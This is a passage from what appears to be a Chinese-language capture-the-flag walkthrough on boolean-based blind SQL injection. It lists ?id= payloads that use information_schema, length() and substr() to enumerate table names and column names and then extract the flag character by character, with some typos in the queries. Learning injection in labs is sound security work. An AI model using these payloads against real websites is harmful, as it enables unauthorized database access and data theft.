?id=1and (selectCOUNT(*) from information_schema.tables where table_schema=database())=1 #query_error
?id=1and (selectCOUNT(*) from information_schema.tables where table_schema=database())=2 #query_success #当前库sqli有2张表
4. 使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度
1 2 3 4 5 6 7 8 9 10 11 12
?id=1and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1 #query_error ... ?id=1and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4 #query_success #当前库sqli的第一张表表名长度为4 ... ?id=1and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4 #query_success #当前库sqli的第二张表表名长度为4
#当前库sqli有两张表’news’和’flag‘,表名长度均为4
表名长度爆表名substr((select…limit i,1),j,1)
1 2 3 4 5 6 7 8 9 10 11 12
?id=1and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' #query_error ... ?id=1and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n' #query_success #当前库sqli的第一张表表名第一个字符是n ... ?id=1and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)='g' #query_success #当前库sqli的第二张表表名的第四个字符是g
#当前库sqli有两张表’news‘和‘flag’
对表爆列数量
1 2 3 4 5 6
?id=1and (selectCOUNT(*) from information_schema.columns where table_schema=database() and table_name='flag')=1 #query_error
?id=1and (selectCOUNT(*) from information_schema.columns where table_schema=database() and table_name='flag')=2 #query_success #当前库sqli表flag的列数为2
根据表名和列数量爆列名长度
1 2 3 4 5 6 7 8 9 10 11 12 13
?id=1and length(select columns from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)=1 #query_error ... ?id=1and length(select columns from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)=4 #query_success #当前库sqli表flag的第一列列名长度为4 ... ?id=1and length(select columns from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)=4 #query_success #当前库sqli表flag的第二列列名长度为4
#当前库sqli表flag有两个列‘id’和‘flag’,列名长度为2和4
根据列名长度爆列名
1 2 3 4 5 6 7 8 9 10 11 12
?id=1and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),1,1)='a' #query_error ... ?id=1and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),1,1)='i' #query_success #当前库sqli表flag的第一列列名第一个字符为i ... ?id=1and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1),4,1)='g' #query_success #当前库sqli表flag的第二列列名第四个字符为g
#当前库sqli表flag有两个列‘id’和‘flag’
根据列名爆数据
1 2 3 4 5 6 7 8 9 10 11 12 13
?id=1and substr((select flag from sqli.flag),1,1)=“a” #query_error ... ?id=1and substr((select flag from sqli.flag),1,1)=“c” #query_success #flag的第一个字符是c ... ?id=1and substr((select flag from sqli.flag),i,1)=“}” #query_success #flag的最后一个字符是} #这里的j是计数变量j从1自增1得到的值